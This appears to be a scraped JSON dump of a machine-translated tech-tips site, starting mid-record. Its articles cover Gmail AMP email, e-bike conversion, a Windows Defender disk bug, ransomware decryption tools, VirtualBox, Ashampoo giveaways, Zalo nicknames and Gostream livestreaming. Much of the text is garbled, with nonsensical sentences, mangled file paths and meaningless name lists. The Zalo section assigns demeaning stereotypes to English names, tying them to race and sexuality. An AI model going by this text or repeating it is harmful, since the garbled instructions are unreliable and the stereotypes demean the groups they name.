OYO Rooms, Pinterest and redBus. If you still regularly receive emails from these companies, chances are you'll receive an interactive email from them in the next few weeks. However, the Mountain view giant has yet to say anything about how users themselves can create dynamic emails. Besides, Google also said other affiliate platforms such as Google Docs will start operating with the new format by default.\nFor developers, supporting this format is also relatively easy, especially if they have previous experience when building AMP pages. This format supports many common AMP bookmark features, including carousels, forms and lists. Also note that these notifications still include standard HTML as a backup function for email applications that support AMP.\nActually, Google mentioned for the first time the dynamic email feature early last year. That is more than a year since Google first announced this initiative. Even by Google standards, it is still a relatively long period of incubation, although we all know there are a lot of extra jobs that need to be completed to make this feature work. The best. In the blog post on Tuesday, the company said the new format will begin to be released on the web today, March 27, and the support for mobile platforms will \"be available soon.\" \" next time. In addition, Gmail accounts in the form of businesses, using G Suite products will be able to require administrators to enable this new function in \"the next few days\".\n  Surprise: Google Docs editing tool is the most popular messaging app for American teenagers Another notable information is that AMP emails are also supported by a number of other popular email services including Yahoo Mail, Outlook.com and Mail.Ru, while any AMP email is sent to a translation. The case does not support the format will only look like a traditional email.\nIn addition, Google has also released information about some partners that will support AMP for Email on their platforms, including email distribution services and SparkPost analytics platform, email marketing and design tools. Litmus, Twilio Sendgrid and Amazon, SES and Pinpoint marketing and email tools.\n  [Infographic] Selecting a suitable messaging application for Enterprises Google's new move shows that the publisher's recognition of email communications needs to be improved and developed, especially in the context that the Gmail platform is facing competition for gay days. harsh from modern messaging applications. As is the case with Slack, a leading messaging service has taken the position of email and became the platform used by many businesses and individuals. Slack currently owns 10 million active users every day and has applied for IPO in February, with a valuation of up to 7 billion USD.\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZqSRqruktMSdZJplnprEbrLEmquuqpViwamt02akmqOVqHqoucCio2adppq7brnOq5xmraOas7a4jJqlnWWZo8GmvsCcq6KulQ%3D%3D\n","link":"/post/google-launched-a-new-feature-that-makes-gmail-even-more-useful-and-interactive/","section":"post","tags":null,"title":"Google launched a new feature that makes Gmail even more useful and interactive"},{"body":" An electric bike is a lot easier to build than you might think! All you need is a bike in good working order, a conversion kit, and a battery. Using a conversion kit makes the process super simple and fast. And if you shop online to find...\nPart 1of 3:\nGathering Your Materials  Select a mountain bike front disc brakes and wide handlebars. If you don't own a bike already, search online or in your local area to find a second-hand bike at a good price. Luckily, you can use just about any bike you have on hand, though certain features will yield the best results:[1] Choose a bike with wheels that are 26\", 20\", or 16\" as these are the most common off-the-shelf wheel sizes.[2] The smaller the wheels are usually found on folding bikes and will accelerate more quickly, be bumpier, and be less efficient at cruising speed. Mountain bikes are most commonly converted to electric bikes, though you could use a different type as long as it has a strong frame and standard bottom bracket. Don't use a bike with a carbon fiber frame or forks, as these aren't strong enough to support the extra weight or handle the extra torque.[3] Wider handle bars are best as they give you plenty of room for all your accessories and lights. Front disc brakes will make it easier for you to stop on steep hills.   Pick up an electric bicycle conversion kit. If you've never built an electric bicycle before, a conversion kit will make the process much simpler. These bolt-on kits contain a throttle, speed controller, and a wheel with a hub motor. Some also come with gauges, displays, and brake levers, though these are not strictly necessary.[4] Ensure the kit comes with a wheel that is the same size as the existing wheels on your bike! It's much easier to replace the front wheel than the back, due to the position of the gears, so opt for a kit in which the hub motor is on the front wheel. In most cases, the battery doesn't come with the conversion kit. For ease of installation, though, it's best to purchase the battery and the conversion kit from the same manufacturer.   Choose a 36- or 48-volt battery with a capacity of 10Ah or 20Ah. Choose a battery designed for use on an electric bicycle, as it will come with a charger and be much easier to install. Make sure the voltage and capacity of the battery you choose is compatible with the conversion kit you purchased. The higher the voltage of your bike's battery, the more powerful your bike will be. When building an electric bike, choose a 36- or 48-volt battery to allow for speed and comfort.[5] The capacity of the battery defines how long it'll last. If you'll be taking short trips, a 10Ah will suit you well, while a 20Ah battery will provide you with extra capacity for slightly longer journeys.[6]  Part 2of 3:\nReplacing the Wheel  Remove the wheel you need to replace. Begin by opening the rim or cantilever brake using the lever (if applicable). If the bike has disc brakes, remove the retaining or cotter pin or the clips or springs that hold the pads in place. Pull the pads out with needle-nose pliers and set them aside.[7] To remove the front wheel, turn the bike over so it's sitting on the seat and handlebars, then flip the quick-release lever over to the 'open' position. Then, simply lift the front wheel off of the bike.[8] To remove the back wheel, crouch behind the bike. Hold the frame with your non-dominant hand and use your dominant hand to pull the derailer backward. Then lift the bike frame up and off of the rear wheel with your non-dominant hand and unhook the chain with your dominant hand.[9]   Transfer the tire and inner tube from the old wheel to the new wheel. Let the air out of the old tire and use a tire lever to separate the tire from the wheel. Pull off both the tire and the inner tube. Reverse the process to install the tire and inner tube on the wheel that came with the conversion kit.[10]\n  Put the wheel with the electric hub on your bike and connect the brake components. Simply reverse the process you used to remove the wheel in order to reinstall it. Be sure to adjust the chain so it fits properly if you're replacing the back wheel. If the bike has rim or cantilever brakes, simply close them over the new wheel using the lever. If the bike has disc brakes, put the pads back in place and secure them using the clips, springs, or cotter or retaining pin.[11] Adjust the brakes as needed, either by aligning the calipers (for mechanical brakes) or pumping the brake lever (for hydraulic brakes).   Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqlnrmlecCnZKKmla29prrSoq2eZZWhsqTA0aKaZpqZmMakuMQ%3D\n","link":"/post/how-to-build-an-inexpensive-electric-bicycle/","section":"post","tags":null,"title":"How to Build an Inexpensive Electric Bicycle"},{"body":"Over the past few days on Reddit and Microsoft forums, many users reported an issue with Windows Defender where it caused the user's disk to fill up. While some users complained about files as small as 2KB causing minor issues, many others reported seeing a lot of space occupied by thousands of files in the Windows Defender folder.\n  Microsoft Defender comes pre-installed on all versions of Windows 10 and is regularly updated through Windows Update. After the Windows Defender update in late April, many users noticed there were thousands of files in the system drive, showing up in the folder C: ProgramDataMicrosoftWindows DefenderScansHistoryStore.\nThe bug is also attacking Windows Server installations where some users report that it has generated 18 million files in their organization.\n'We have three 2016 servers affected so far. The hard drive capacity warning started showing up last night. One server has 18 million files in the Store folder. Another machine has 13 million files. It took us hours just to find files and delete them. Due to size allocation, these files are taking up 50-60GB of disk space. This is a big bug from Microsoft ', one user shared on Reddit.\nHow to check if Windows Defender is creating file or not The easiest way to check if Windows Defender has an error is through File Explorer:\nStep 1. Open File Explorer and make sure \"hidden items\" are enabled on the View tab\nStep 2. In the address bar, type C: ProgramData Microsoft\nStep 3. Select Windows Defender\nStep 4. Select Continue if the folder requires administrator privileges\nStep 5. In the Windows Defender folder, navigate to Scans HistoryScans\nIf affected, you will see hundreds or thousands of files less than one MB per file. You can safely delete the files in the folder.\nHow to fix The issue seems to have been fixed using Windows Defender engine 1.1.18100.6.\nStep 1. Open Start Menu and select Settings gear icon. In the Settings app, navigate to Updates \u0026amp; Security -\u0026gt; Windows Update and tap check for updates.\nStep 2. The new update is titled 'Security Intelligence Update for Microsoft Defender Antivirus' and will be downloaded and installed automatically.\nStep 3. You can verify the security tool's version number by opening the About page in the Windows Defender app\nwindows defender ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsecifZLChnpm8uL%2BMnZyfnZ6ZsrN5xp6lnqqRqbK0edGapZ2nnWKzqrjErGSappRitbDDjK2mZp6ZrXq1tMSm\n","link":"/post/how-to-check-if-windows-defender-generates-random-files-and-how-to-fix-them/","section":"post","tags":null,"title":"How to check if Windows Defender generates random files and how to fix them"},{"body":"Control Center on iOS is a great feature that allows iPhone and iPad users to have quick access to adjust screen brightness, increase or decrease the volume, select camera, Wi-fi and Bluetooth switch, Do not disturb mode and more, thanks to its ability to customize it. But many iPad users and some iPhone users discover that the Control Center does not work from Lock Screen on the device they are using. Try to see if you fall into that situation by swiping up from the bottom of the iPad or iPhone screen. If the device has a problem, the Control Center will not display. Don't worry too much. Fixing this error is very simple.\nThe reason most iPad and iPhone devices cannot access the Control Center from Lock Screen is because of the installation. While swipe gestures to display the Control Center from Lock Screen are usually turned on by default on iPhone. For some reason, on the iPad, Control Center on Lock Screen is turned off by default - at least on some new iPad models. So if you can't open Control Center on iPad or iPhone Lock Screen, read the following article to enable this feature and check the settings for iOS.\nHow to enable access to Control Center on Lock Screen on iPad and iPhone 1. Open the iOS \" Settings \" app\n  2. Go to ' Touch ID \u0026amp; Passcode '\n3. Scroll to the ' Allow Access When Locked ' section and search for ' Control Center ' and switch the Control Center to ON\n  4. Exit Settings\nYou can check whether the error has been fixed by locking the iPad or iPhone screen and then swiping to access the Control Center. It will display itself as expected on the device's Lock Screen.\n  For all iPad models and most iPhones (except iPhone X), to access the Control Center, simply swipe up from the bottom of the screen. For iPhone X and perhaps other future iPhone models with \"rabbit ears\" screen, you swipe down from the right of \"rabbit ears\" to access the Control Center.\nIs the Lock Screen Control Center feature enabled / disabled by default? The Lock Screen Control Center feature is not turned on or off by default on all devices. This is completely random, but as mentioned earlier, this problem appears in some new iPad models. It is possible that users have accidentally disabled access to Control Center on iOS Lock Screen and also forgot about this, just like when people often do to disable Control Center access in applications and games. swipe-based play, etc. when you don't want it to appear. In any case, users will think that the Control Center does not work at all. But in fact, only the Control Center access feature from Lock Screen has been disabled.\nControl Center is a great feature to quickly access all types of toggles settings, features and adjustments. For best results, users can customize Control Center on iPhone and iPad to suit each specific use.\nDoes this fix your problem when accessing Control Center from iPad or iPhone Lock Screen? Do you have any other solutions to fix the Control Center error that doesn't work in the lock screen? Share your experience with us in the comment section below!\nSee more:\nHow to adjust the Control Center iOS 11 interface The Night Shift feature 'hides' in Control Center iOS 11 and this is the way to 'pull' it out Control Center iOS 11 doesn't really disable Wifi or Bluetooth? This is what you need to do ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqmvtGoqaxlk5a7r7vTZqapnZ5isLC606umpWWTmru1sdFmpqdlmaW1sLrEZqCpmZRis7O7zGajqJubYsCkvsSepQ%3D%3D\n","link":"/post/how-to-fix-errors-cannot-open-control-center-on-iphone-ipad-from-lock-screen/","section":"post","tags":null,"title":"How to fix errors cannot open Control Center on iPhone / iPad from Lock Screen"},{"body":"Tabs open or closed on Chrome do not have any manager, so users need to install add-ons to manage. Tabs of our Lives is a utility for managing open and closed tabs on Chrome and can reopen closed tabs. All tabs are open on many different Chrome windows are managed on the extension. The utility also has a section for saving closed tabs to reopen whenever you need it. The following article will guide you how to use the Tabs of our Lives utility on Chrome.\nInstructions for managing tabs on Chrome Step 1:\nWe download the Tabs of our Lives utility for Chrome browser by following the link below.\nDownload the Tabs of our Lives Chrome extension Step 2:\nNow that you browse the web as usual, we can open multiple tabs in different Chrome windows. Then click the extension icon at the bottom of the access bar and will see a list of open tabs in the current Chrome window (Current Window) and other Chrome windows (Other Window.). If you want to move to any tab, just click on that tab.\n  Step 3:\nEach tab management group has a save option for you to save to want to reopen when closed . Then before each tab displays each square so we can tick. You can select one tab you want, or click All to select all tabs or just pin tabs (Pinned), open tabs (Highlighted). Click the floppy disk icon to save the tab.\n  Every tab you saved is in the Save Tab section , click the heart icon to access. Here the user presses reset to reopen closed tabs or click on the tab names also.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRo66osYyop56mXamuo7%2BMqKVmm5invK6xjLCgraBdqa6jv4yonWanpad6rbXVnqo%3D\n","link":"/post/how-to-manage-open-tabs-on-chrome-with-tabs-of-our-lives/","section":"post","tags":null,"title":"How to manage open tabs on Chrome with Tabs of our Lives"},{"body":"Encrypted files are a nightmare for many people and we could lose important data permanently if we don't pay the ransom money to hackers or get scammed by hackers. In the following article, TipsMake.com guides readers how to read encrypted files to save important data in case of being infected with Ransomware encryption virus.\n  1. Decode files online with No More Ransom   No More Ransom is a website founded with the help of a number of names from famous security companies in the world such as Kaspersky, Trend Micro, Avast . The website supports over 30 languages ​​to help You can easily manipulate. The list of search tools and decoding support is constantly updated so that users can find an effective way to save encrypted files.\nPlease visit https://www.nomoreransom.org/crypto-sheriff.php?lang=en and follow the website's instructions to recover encrypted files.\n  2. Use the Emsisoft Decryptor for STOP Djvu tool   Data encryption virus Stop Djvu started appearing on the Internet in August 2019 and created a series of new variants with names like nesa, .boot, .kuub, .reco, .bora, .leto, nols, werd, .coot, .derp, .nakw, .meka, .toec, .mosk, .lokf, .peet, .grod, .mbed or .kodg, .zobm, .shadow, .djvu, .djvur, .djvuu, .udjvu, .uudjvu, .djvuq, .djvus, .djvur, .djvut, .pd ,. .tfudet, .tfudeq, .rumba, .adobe, .adobee, .blower, .promos, .promoz, .promorad, .promock, .promok, .promorad2, .kroput, .kroput ,. , .klope, .kropun, .charcl, .doples, .luces, .luceq, .chech, .proden, .drume, .tronas, .trosak, .grovas, .grovat, .roland, .refols, .raldug,. etols, .guvara, .browec, .norvas, .moresa, .vorasto, .hrosas, .kiratos, .todarius, .hofos, .roldat, .dutan, .sarut, .fedasot, .berost, .forasom. .codnat, .codnat1, .bufas, .dotmap, .radman, .ferosas, .rectot, .skymap, .mogera, .You only need to download the tool and install and then select the drive to Decrypt is done. Please also note that some of the files that are not on the list can still be decoded because Emsisoft has updated the new virus samples with the new built-in decoding tool in the updates so you need to try and decode. file to find data again.\nYou download the tool at the link https://www.emsisoft.com/ransomware-decryption-tools/stop-djvu\n  In case you encounter encrypted files with extension .puma, .pumax . then use Emsisoft Decryptor for STOP Puma tool at https://www.emsisoft.com/ransomware-decryption-tools / stop-puma\n3. Use the Bitdefender Decryption Utility for GandCrab tool   GandCrab is a variant of the Ransomware data encryption virus with many computers already infected around the globe. With the Decryption Ultility for GandCrab tool from Bitdefender security firm, you can decode Gandcrab variants with extension like .gdcb, .crab, .krab .\nLink to download and install the software at https://labs.bitdefender.com/2018/10/gandcrab-ransomware-decryption-tool-available-for-free/\nEncrypted files, ransom is the terrible thing we get when infected Ransomware virus. Today, security vendors bring quality decryption tools on their security products and you should be a smart user when using your computer by equipping your computer with an anti-virus software. rights, avoid using pirated software and do not click on strange, suspicious links sent via email or on the website. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVlrFusc2cqbKopJqxbrLIpZysZZikxG7Azmabnpuirr21ecSnmquxoKmypXnFoqOeqw%3D%3D\n","link":"/post/how-to-read-encrypted-files-how-to-decrypt-encrypted-files/","section":"post","tags":null,"title":"How to read encrypted files, how to decrypt encrypted files"},{"body":"In the following article, TipsMake.com will guide you how to install and use Ubuntu inside Mac OS X through VirtualBox . The test system used here has the following configuration: 8GB minimum hard drive on Mac OS X operating system, Internet connection, ISO installation file in Ubuntu (you can download here) and Sun's VirtualBox software. First, you need to create a new virtual machine inside VirtualBox by clicking the New button:\n  Name this virtual machine, select the operating system on Linux or Ubuntu Operating System with the corresponding version. Select the amount of RAM allocated to the virtual system, although Ubuntu doesn't need too much, but to ensure the operating system is working smoothly, you should choose 1GB:\n Check the Boot Hard Disk box in the next window, and select Create new hard disk, then click the Continue button. The next window appears, which you will use to create the virtual hard drive, and then install and use Ubuntu. Click Continue , check Dynamically expanding storage box and continue Continue , declare capacity to create partition (here we choose 5GB) then Continue and Done. Next, we have to set up this Ubuntu virtual machine to boot from the ISO file we just downloaded in the previous step. Start the virtual machine, you will see the First Run Wizard screen , select Continue to start the process. Go to Select Installation Media screen , select Media Type as CD / DVD Rom , in the Media Source section, press the button with the folder icon on the right:\n The next window will appear, click the Add button above the left corner:\n Point the link to the folder containing the ISO Ubuntu file:\n Click Select, you will see the following figure. Click Next :\n So we have completed the basic configuration. Now move on to the next step - install Ubuntu. This process will take about 30 minutes as usual. The main screen when properly set up is as follows:\n Select the display language and click the Install Ubuntu button . When you move to the next screen, select Download updates while installing and Install this third-party software. Select this feature to apply the latest updates as well as accompanying support applications:\n Some other setting options such as time zone at the window Where are you? For example in Vietnam we will choose GMT + 7, then press Forward :\n At the step of creating and setting up the account, you declare the computer name, user name and password:\n Such basic parameters initialization is complete, and now the installation process really starts, fast or slow depending on the machine configuration and part of the Internet connection speed:\n When finished, restart the virtual machine when the Ubuntu system requires. And this is the result of the above process:\n Above are the basic steps to install, set up and use Ubuntu inside Mac OS X with VirtualBox, the steps are quite simple and similar to VirtualBox on Windows. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZaWXwq%2FA1Gakmq6Vp7akt4yipWalkZh6t7XRrayapJKkxQ%3D%3D\n","link":"/post/instructions-for-installing-ubuntu-maverick-in-mac-virtualbox/","section":"post","tags":null,"title":"Instructions for installing Ubuntu Maverick in Mac Virtualbox"},{"body":"Some useful software such as optimization / error correction software for Windows operating system or hard drive, Uninstaller 5 uninstaller, Music Studio 5 . are currently free on Ashampoo for a short time. If there is a need, please access quickly download immediately (promotion can end at any time) to use.\n1. Ashampoo UnInstaller 5 : Software to remove applications / software effectively helps speed up and improve the performance of computers.\n  Free download link: Ashampoo UnInstaller 5.\n2. Ashampoo HDD Control 2 : This is a tool to help you control, manage and optimize the performance of your hard drive. In addition, with this application, you can diagnose and fix some errors for HDD, SSD and even external memory devices like USB.\n  Free download link software: Ashampoo HDD Control 2.\n3. Ashampoo Music Studio 5 : This software supports users to create music files, edit volume, length, format and design music.\n  Free download link: Ashampoo Music Studio 5.\n4. Ashampoo WinOptimizer 14 : This is a comprehensive system cleanup, tweaking and optimization tool to count to users the comfortable experience when using the device.\n  Free download link: Ashampoo WinOptimizer 14 (100% discount).\n5. Ashampoo Burning Studio 2018 : This is a multi-function burning tool. With this burning software, you can burn files, music or watch movies and extract audio files from CD. In addition, you can create backups of external storage devices such as flash devices, phones or tablets.\n  Free download link application: Ashampoo Burning Studio 2018 (100% discount).\n6. Ashampoo Disk-Space-Explorer 2018 : This is a tool to help you manage files according to a completely different experience than Windows Explorer.\n  Free download link: Ashampoo Disk-Space-Explorer 2018 (100% discount).\n7 . Ashampoo Music Studio 2018 : This is also a software to support users to create, edit and design music. It is quite similar to Music Studio 5.\n  Free download link: Ashampoo Music Studio 2018 (100% discount).\n8. Ashampoo Home Designer 3 : This is a professional 3D drawing design software for architectural designers. However, if you want to design your own home, Home Designer Pro 3 with quite simple usage will be a great tool to help you do that.\n  Free download link: Ashampoo Home Designer Pro 3 (100% discount).\n9. Ashampoo WinOptimizer 2017 : This software is able to clean, find and fix many common errors in Windows computers, thereby helping to optimize the system comprehensively.\n  Free download link: Ashampoo WinOptimizer 2017 (100% discount).\nInstructions for receiving free software copyright\nStep 1: Open the software link you want to download and click on the orange text DOWNLOAD [APPLICATION NAME] NOW.\n  Step 2: New window appears, fill in the required information and select the GIVE IT box TO ME NOW.\n  Step 3: The installation file will be downloaded automatically. When the download is complete, please proceed to install, launch the software. Then enter the license key on the License key .\n  See more:\nHow to get free Xvirus Personal Firewall PRO license, firewall software costs $ 48.93 Quickly receive SoftMaker Office 2016 free license key (69.95 USD) - Office replacement tool on Windows Top 7 Vietnamese computer typing software on the most effective and download link 9 best free wifi playback software in 2017 and download link ncG1vNJzZmismaXArq3KnmWcp51kvra1wqSjsmWUpMSvuM6am2arn6KybsHSnp2upF2ovKfA1pqpnmWfm3qiv8eapKmnn2LEqbXCoWSiq12Xsqq6xmadq52VYrOwvoyaZKygn6fBbsDIppw%3D\n","link":"/post/quickly-download-some-useful-software-of-ashampoo-which-is-being-free-for-a-short-time/","section":"post","tags":null,"title":"Quickly download some useful software of Ashampoo which is being free for a short time"},{"body":"Jump Lists are designed to provide users with quick access to documents and tasks related to the applications installed on the system. You can treat Jump Lists like a small Start Menu that includes specific applications. Jump Lists can be found on application icons that appear on the Taskbar or on the Start Menu.\nJump List was first introduced on Windows 7. On Windows 10, Jump List automatically saves the history of all the files you have opened, folders, programs, Web sites you have visited and displays files, messages items, programs and URLs on the Taskbar and Start Menu.\n  Steps to delete Jump List history on Windows 10: Step 1: Right-click any space on the Desktop screen and select Personalize to open the Personalize view on the Settings application.\n  Step 2: Click on Start .\nStep 3: Disable the Show recently opened items option in Jump Lists on Start or the taskbar . When you turn off this option will automatically delete the history of Jump List.\n  Step 4: Finally reopen the Show recently opened items in Jump Lists on Start option or the taskbar to continue using the Jump List feature.\n  Alternatively, you can right-click the program icon on the Taskbar to confirm deleting the Jump List history.\nRefer to some of the following articles: Instructions to turn off ads on the Screen Lock screen Windows 10\n Start Windows 10 \"as fast as the wind\" with Fast Startup\n How is the Cotrol Panel and the Settings menu on Windows 10 different?\n Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddmLmmrdFmoa6loGK5qr%2FTrGShoaOpvLPFjKilZq%2BZo7Gww9JmaGk%3D\n","link":"/post/steps-to-clear-jump-lists-history-on-windows-10/","section":"post","tags":null,"title":"Steps to clear Jump Lists history on Windows 10"},{"body":"Today, besides Facebook, Zalo is also one of the most used social networks. This is an application that allows users to text and call for free. To make friends Zalo, Zalo chat you can set yourself the best Zalo names, meaningful, happy, sad or in the mood. When entering the chat rooms, find around here will be many people pay attention and make friends for the name Zalo or your special. So have you come up with a good name and impressive yet fit your mood? If you still have no idea, you can refer to the list we have summarized below. On this list will be full of good and unique names for both men and women to use.\n50 best names to choose for \"little prince\" 1000 good names to choose from for your young daughter The best and most meaningful names Zalo follow your mood:\n  1. Best Zalo Name Right Teo Mong Right\nCai No Need To Lay\nNon-heart is better than the old heart\nTimes of Hit\nBeing Peeled Lan\nTight Stick\nBeing in Match\nBucket\nPham Sister Chan\nThe way of life Bringing the path to the road\nR Brilliant\nThey will make sure that they have destroyed Taotuy but they have a lot of money\nNice Name\nFirst and last name\nHappiness in the Healings of Hundreds of Healings\nThe Cold Spirit Lies In The Past\nNgan Ngan\nTouch the ball with the cool and cool technology with the ballbay\nLo Thi Mother\n9 Carrots\nOld Angel\nGod Is Dead\nFruit mountain\nWei Ching Jing\nTieu Thap Nhat Lang .\nFind Friends Online\nSell ​​Blood On The Network\nMeat Prime Pig\nBathe Dehydration\nOnly Love Once In A Life\nJust Love The Stranger\nWaiting For You To Dry Your Tears\nScent of Sword\nTransparent Coffee\nMeatless Wolf\nThe way to lead and walk\nThey are pretty sure what is wrong, but I have lost my mind but my heart and body\nNice Name\nFirst and last name\n2. Name Zalo Unique, Sword Hiep 'Swordsman',\n'Uniqueness of Heaven', In order to Highlight Personality, There Are Very Interesting Names\n'No Moonlight' (Hollow Moon)\n'Heavenly Dragon Dance' (Rainy Day Star)\n'Minh Phong' (Transparent Wind)\n'Phong Trung Chi Chuc' (Candle In The Wind)\n'Pure Love Son Thuy' (Pure Love Mountain) Good\n'I Love The Sky'\n'Flower of the Rose Flower'\n3. Name Zalo Sad For Men Do not go\nBurmese Side Me\nRomance of loneliness\nWhere to find you\nMelancholy eternity\nRain Lang Thang\nPast\nLife is unfinished\nWho made you so upset\nHanh Phuc Transient\nSea of ​​Love\nUnrequited love\nNameless sadness\nNhech Ve Laugh of Life\nThe Left Side Of Love\nSorry to you\nWinter Warm Sun\nUnrequited love\nSame Road Step\nGo to England\nLove of old\nNo Bottom Cave\nMy Loneliness\nThe Life of Bitterness\nHate Heart\nInfinite Devil\nYoung Ma Evil\nHeartless person\nPoor Life\nTo fall in love\nBlack Ball\nNo name\nBehind a girl\nIf only you\nMissing Day\nMemories Not Funny\nI miss you so much\nFind Back The Sky\nTa Ever\nEx-lover\nYou are OK\nA shoulder\nStranger\nThousands of Apologies\nPeaceful place\nFarewell\nWhere I belong\nThe Dawn of Life\nBridge Round Defect\nBlowing kisses\n4. Name Zalo Sad For Female I'm Not Anyway\nListen Tears\nUnrequited love\nNameless sadness\nWet jackfruit\nAfter the rain\nIdiot\nEnglish Days\nDrops of Melancholy\nGiot Le Tinh Chung\nDrop of Radio Le Trang\nIced rain\nBlind corner\nDeep Black Hole\nSoap bubbles\nSad to Try\nPretend To Say It\nSadness\nI Don't Know Crying\nRain across\nDeep Muon Fall\nNo Way\nTumbler\nHave you ever leave\nBubble rain\nCactus Spines\nUnhappy smile\nLe Cay Hang Mi\nBibi Sad\nSad Tears\nLe Nhat Phai\nResponsible Who Unknowingly\nSmall Shoulder\nLove Cold Price\nNameless sadness\nPast Melancholy\nNight Star\nEast Coming\nMelancholy Pink Card\nLove Is Poor\nLove You Also Know Pain\nPeople Not Silhouette\nResponses to the Boat\nWiped tears\nAngry you\nDroplet Tears\nCrying A River\nSilence in the heart\nThe Lives of Lust\nSad memory\nSilent Look\nIf that is me\nRainy night\nSmiling Smile\nBitter Life\nBody of Mind and Kill\nPeaceful Consciousness\nThe Champion, Mich\nThien Ly flower\nChubby Bunny\nDo not feel sad\nHate you\nLove does not regret\nSilently in love\nCharter sorrow\nBitter coffee\nJust a dream\nRain\nDush flying into eyes\nLove A Stopper\nThat guy\nRainy Road\nDay without you\nOut of Love\nLonely Lonely\nWet Goods\n5. Name Zalo English means Ruby: Only good women are full of confidence.\nVincent: usually only high-ranking officials.\nLarry: only black people.\nJennifer: usually just a bad mouth.\nJack: seems to be very honest.\nDick: people are boring and very energetic.\nIrene: usually only beautiful people.\nClaire: only sweet woman.\nRobert: only bald (usually watchful)\nKenny: usually just a naughty guy.\nScotl: Innocent, romantic.\nCatherine: usually only big people.\nAnita: usually only small eyes and small eyes.\nTerry: only a bit tall.\nIvy: often refers to people who beat people.\nRita: Always be right\nJackson: usually only the right person to be right.\nEric: Only people who are too confident.\nSimon: just a bit arrogant\nJames: just a tall man.\nSam: only a funny boy.\nHank: only mild, suspicious people.\nSarah: just a fool\nKevin: only the opposite\nAngel: Only a small woman is a bit attractive\nGolden: only people who like drinking.\nJimmy: only low fat people.\nDocata: usually only people who love themselves.\nTom: only the countryman.\nJason: only a little evil\nPaul: only homosexual, or rich\nGary: only people who lack intellectual capacity\nMichael: Usually just a conceit, a little stupid\nJessica: usually only smart people talk\nVivian: usually only guys who do sling (Male)\nVivien: usually only guys who work as a sling (Female)\n6. Name Zalo Japanese meaning Aki: autumn\nAkira: smart\nAman (Indonesia): safe and secure\nAmida: the Buddha of pure light\nAran (Thai): the forest\nBotan: June's peony and flower plant\nChiko: like an arrow\nChin (HQ): great people\nDian / Dyan (Indonesia): candle\nDosu: cruel\nEbisu: lucky god\nGaruda (Indonesia): Heaven's messenger\nGi (HQ): brave people\nGoro: fifth place, fifth son\nHaro: child of wild boar\nHasu: lotus\nHatake: shallow filling\nHo (HQ): kind\nHotei: god of summer\nHigo: willow tree\nHyuga: Japanese direction\nIsora: the god of the beach and the coastal region\nJiro: second place, second son\nKakashi: A type of braided puppet = straw in rice fields\nKalong: the bat\nKama (Thai): golden\nKale / Kahnay / Kin: golden\nKazuo: Peaceful\nKongo: diamond\nKenji: second place, second son\nKuma: the bear\nKumo: spider\nKosho: the god of red\nKaiten: reverence\nKamé: kim quy\nKami: Heaven, belongs to heaven\nKano: the god of water\nKanji: tin (metal)\nKen: clear water\nKiba: teeth, fangs\nKIDO: the devil\nKisame: shark\nKiyoshi: A quiet person\nKinnara (Thai): a character in astrology, a half-bird figure.\nItachi: a weasel (a mysterious animal that brings bad luck)\nMaito: extremely powerful\nManzo: third place, third son\nMaru: round, this word often uses the pad at the end for the boy's name.\nMichi: street\nMichio: strong\nMochi: Full moon\nNaga (Malay / Thai): the dragon / snake in mythology\nNeji: spinning\nNiran (Thai): eternal\nOrochi: giant snake\nRaiden: lightning god\nRinjin: sea god\nRingo: apple\nRuri: jade\nSantoso (Indonesia): peaceful, peaceful\nSam (HQ): achievements\nSan (HQ): the mountain\nSasuke: assistant\nSeido: brass (metal)\nShika: deer\nShima: island people\nShiro: fourth place\nTadashi: loyal servant\nTaijutsu: extreme\nTaka: hawk\nTani: coming from the valley\nTaro: I respect you\nTatsu: dragon\nTen: sky\nTengu: celestial (the animal is famous for its long loyalty)\nTomi: red\nToshiro: smart\nToru: sea\n  With the list of the best Zalo names, this unique meaning will surely unleash your change of Zalo name according to your mood. Hope you have for yourself a best Zalo name.\nMaybe you are interested:\nHow to backup and restore Zalo messages on Android phones 2 steps to backup Zalo messages to your computer ncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdr66tu4ynmKado2Kur7CMpqasrF2isqK6yKeen62cYq6kr86rm6Kml2LBsHnYqKyrZZ2kvKU%3D\n","link":"/post/the-best-zalo-names-and-most-meaningful-according-to-your-mood/","section":"post","tags":null,"title":"The best Zalo names and most meaningful according to your mood"},{"body":"Currently Facebook and Youtube are 2 big sites that support livestream. And to be able to live stream on Facebook, we can use some software like OBS, Wirecast to film the screen. However, the live stream with the above software often happens with some errors, or the image quality, the sound is not good, affecting the live stream of Facebook from the computer.\nSo you can use Godream's Gostream service. This service will support users to stream live on Facebook without having to proceed with screen recording, support streaming videos from various link sources, such as Youtube videos, online video links, torrent links and sopcast to directly stream videos. top match. The following article will guide you how to live streaming YouTube videos to Facebook using Gostream service.\nHow to play live video on Facebook from any link Step 1: First, click on the link below to access the Gostream homepage.\nhttp://gostream.vn/ Step 2: At the main interface, we click Register to create an account on Gostream.\n  Step 3: At the Registration interface, enter the required information to create an account and then click Register .\n  Soon we enter the account information we created earlier on Gostream, then click Login .\n  Step 4: Now you need to log in the email account used to register the Gostream to get the verification code. Then go back to the interface on Gostream and then enter the code into the content, click Check to confirm the registered account.\n  Step 5: As such, we already have an account on Gostream. At the main interface, users click the Live streaming option and then select Play streaming video in the options list below.\n  Switch to the new interface and click New livestream .\n  Step 6: We will perform live stream Facebook from any video link. Here I will take an example with a Youtube video link, the other links you read do the same.\nIn the first view, enter a title for the video in the Title box . Then click Add video link right below.\n  Appear the video input box, paste the Youtube video link into the frame and click OK .\n  Gostream supports using Youtue link, link Google Drive, link Torrent or Sopcast, mp3.zing.vn, vimeo. To refer to how to get the video link to live stream, we click on the Instructions to get the video link to livestream right below.\n  Step 7: You wait for the Gostream to identify the URL of the YouTube video link. Here you click the Continue button.\n  Step 8: Switch to the Configuration interface, where we can edit the Repeat section, The playback time can choose the live stream playback time, other details are left to default. Then click the Continue button below.\n  Step 9: After that, Gostream will ask you where you want to post livestream video. Here we select the Facebook account to play live stream 